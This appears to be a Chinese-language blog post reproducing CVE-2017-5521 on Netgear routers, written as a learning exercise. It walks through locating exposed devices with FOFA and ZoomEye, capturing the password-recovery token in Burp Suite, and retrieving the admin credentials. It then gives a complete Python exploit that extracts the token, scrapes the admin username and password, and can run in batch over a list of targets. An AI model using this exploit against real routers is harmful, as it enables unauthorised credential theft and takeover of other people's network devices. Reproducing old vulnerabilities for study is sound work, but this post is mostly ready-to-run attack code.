看到了一个好几年前的漏洞CVE-2017-5521,于是看了一下EXP,复现学习一下,并且分享一下自己复现的过程,顺便了解一下这个漏洞是如何产生的。
SpiderLabs于2017年发布的漏洞, 用户访问路由器的web控制界面尝试身份验证,然后又取消身份验证,用户就会被重定向到一个页面暴露密码恢复的token。然后通过passwordrecovered.cgi?id=TOKEN获取到路由器管理员密码,此漏洞影响的设备,范围很大。
虽然有的步骤不是很想写,但是为了照顾没看过我之前博客的伙伴,我还是一步一步的写下来,便于大家的理解。
首先,我们根据漏洞影响范围中的一款设备通过FOFA,Zooneye搜索"WGR614v10",寻找相应的设备来进行测试,当然有真实的路由器那就跳过这一段吧,QAQ.
大家有没有仔细看漏洞描述,用户需要访问路由器的web界面进行登录验证,当身份验证取消后,会被重定向一个有Token的路径中。EXP在最后,大家后面再看。
接下来使用burpsuite拦截路由器请求身份验证的数据包,然后进行Repeater,大家就会发现会产生一个401的验证错误的response。但是里面有一个id,这个id的值就是我们需要的Token.
提取拿到的token,将token拼接到’passwordrecovered.cgi?id=Token 中,发送到路由器中,就可以获取路由器web管理员的密码,如下图所示:
然后用获取到的用户名和密码进行登录即可抵达管理界面。
以下是此漏洞的EXP
## netgore.py
import sys
import requests
def scrape(text, start_trig, end_trig):
if text.find(start_trig) != -1:
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
else:
return "i_dont_speak_english"
def exp1(ip,port):
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
# ip = sys.argv[1]
# port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
r = requests.get(url)
except:
url = 'https://' + ip + ':' + port + '/'
r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
print("Attcking: " + model[13:-1])
else:
print("not a netgear router")
#sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '\"')
if token == 'i_dont_speak_english':
print("not vulnerable")
#sys.exit(0)
return
print("token found: " + token)
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left\">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username', '')))
username = scrape(username, '>', '\'')
password = (repr(scrape(r.text, 'Router Admin Password', '')))
password = scrape(password, '>', '\'')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', ''))
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', ''))
else:
print("not vulnerable becuse password recovery IS set")
# sys.exit(0)
return
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print("user: " + username)
print("pass: " + password)
def exp2(ip,port):
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage
# ip = sys.argv[1]
# port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
r = requests.get(url)
except:
url = 'https://' + ip + ':' + port + '/'
r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
print("Attcking: " + model[13:-1])
else:
print("not a netgear router")
#sys.exit(0)
return
#2nd stage
url = url + 'passwordrecovered.cgi?id=get_rekt'
try:
r = requests.post(url, verify=False)
except:
print("not vulnerable router")
#sys.exit(0)
#profit
if r.text.find('left\">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username', '')))
username = scrape(username, '>', '\'')
password = (repr(scrape(r.text, 'Router Admin Password', '')))
password = scrape(password, '>', '\'')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', ''))
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', ''))
else:
print("not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again")
return
# sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print("user: " + username)
print("pass: " + password)
if __name__ == "__main__":
if len(sys.argv) > 1:
ip = sys.argv[1]
port = sys.argv[2]
print('---------start------------')
print('target',ip,port)
print('---------exp1------------')
exp1(ip,port)
print('---------exp2------------')
exp2(ip,port)
else:
f = open('target.txt')
for line in f:
line = line.strip()
l = line.split(' ')
if len(l) > 1:
#print l
ip = l[0]
port = l[2]
print('---------start------------')
print('target',ip,port)
print('---------exp1------------')
exp1(ip,port)
print('---------exp2------------')
exp2(ip,port)
f.close()
EXP运行方式 python exp.py IP PORT
学习路由器漏洞挖掘的第一步,首先要进行路由器漏洞的复现,找出其问题所在,然后再去学习路由器的其他构造。
名不显时心不朽,再挑灯里看文章